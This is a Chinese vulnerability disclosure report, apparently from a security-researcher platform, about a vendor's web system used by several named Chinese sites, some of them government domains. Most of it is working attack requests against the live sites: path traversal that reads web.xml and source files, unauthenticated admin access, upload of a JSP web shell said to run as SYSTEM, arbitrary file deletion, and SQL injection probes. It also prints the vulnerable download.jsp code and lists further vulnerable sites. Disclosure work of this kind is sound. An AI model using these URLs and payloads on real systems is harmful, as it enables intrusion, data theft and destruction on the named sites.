漏洞详情

披露状态:

2014-07-29: 细节已通知厂商并且等待厂商处理中
2014-08-03: 厂商已经确认,细节仅向厂商公开
2014-08-06: 细节向第三方安全合作伙伴开放
2014-09-27: 细节向核心白帽子及相关领域专家公开
2014-10-07: 细节向普通白帽子公开
2014-10-17: 细节向实习白帽子公开
2014-10-27: 细节向公众公开

简要描述:

某系统任意文件下载/任意上传/任意删除/越权操作/SQL注入漏洞

详细说明:

关键字:

技术支持:绍兴深蓝软件开发有限公司


0x001、任意文件下载

http://www.lqzjz.com.cn/download.jsp?path=../WEB-INF/web.xml


111.png


看看web.xml的内容:

222.png


0x002、越权访问(后台直接访问)

后台:http://www.lqzjz.com.cn/houtai/main.jsp
附件管理:http://www.lqzjz.com.cn/houtai/masterfujian.jsp?rowno=643


333.png


附件管理:

444.png


0x003、任意文件上传
从上面的附件管理处可以看出,这里有上传功能

http://www.lqzjz.com.cn/houtai/uploadfujian.jsp?formid=null&rowid=643


这里我们来传一个就是jsp版的shell

555.png


返回附件管理页面,看到我们的jsp shell已经成功上传了:

666.png


但是这里我们不知道我们的shell地址
不过,从download.jsp的下载功能可以得知,可以直接下载改shell文件,那么具体路径看到是已知的
于是我们来利用任意文件下载漏洞下载download.jsp文件:

http://www.lqzjz.com.cn/download.jsp?path=../download.jsp


看看download.jsp文件内容:

<%@ page import="java.io.*" %>
<%@ page language="java" contentType="text/html; charset=GBK" %>
<%
try
{
String path = request.getParameter("path");
path = request.getRealPath("/")+"viewfiles\"+path;
String filename = path.substring(path.lastIndexOf("\")+1);
//filename = new String(filename.getBytes("GBK"),"ISO8859_1");
path = new String(path.getBytes("ISO8859_1"));
response.setHeader("Content-disposition","attachment; filename="+filename);
FileInputStream fis = new FileInputStream(path);
OutputStream os = response.getOutputStream();
int byteRead;
while((-1) != (byteRead = fis.read()))
{
os.write(byteRead);
}
os.close();
if (fis != null)
{
fis.close();
}
}
catch(Exception e)
{
System.out.print("download.jsp:"+e);
}
%>


明显得知,是在根目录下的viewfiles目录下
最后得知我们的shell地址:

http://www.lqzjz.com.cn/viewfiles/fujian/191.jsp


而且是system权限:

777.png


0x004、任意文件删除

http://www.lqzjz.com.cn/houtai/deletefujian.jsp?rowno=252&path=fujian193.txt


我们来删除根目录下的test.txt

888.png


删除链接:

http://www.lqzjz.com.cn/houtai/deletefujian.jsp?rowno=252&path=fujian....	est.txt


成功删除:

999.png


0x005、多处SQL注入
第一处:

http://www.lqzjz.com.cn/houtai/masterfujian.jsp?rowno=400 and 1=1
http://www.lqzjz.com.cn/houtai/masterfujian.jsp?rowno=400 and 1=2


第二处:

http://www.lqzjz.com.cn/houtai/modi.jsp?type=1&rowid=652 and 1=1
http://www.lqzjz.com.cn/houtai/modi.jsp?type=1&rowid=652 and 1=2


第三处:

http://www.szjczx.com/xxcontent.jsp?rowid=123 and 1=1
http://www.szjczx.com/xxcontent.jsp?rowid=123 and 1=2


第一处SQL注入证明:

1111.png

漏洞证明:

案例证明:
http://www.szjczx.com/download.jsp?path=../WEB-INF/web.xml
http://www.sxjzj.gov.cn/download.jsp?path=../WEB-INF/web.xml
http://www.ptzjz.com/download.jsp?path=../WEB-INF/web.xml
http://www.hujsjd.com/download.jsp?path=../WEB-INF/web.xml
http://www.lqzjz.com.cn/download.jsp?path=../WEB-INF/web.xml
http://www.sxazj.gov.cn/download.jsp?path=../WEB-INF/web.xml
http://nbzhzjz.com/download.jsp?path=../WEB-INF/web.xml
http://www.pjzjz.cn/download.jsp?path=../WEB-INF/web.xml

修复方案:

问题太大了,换个版本吧。

标签: none

评论已关闭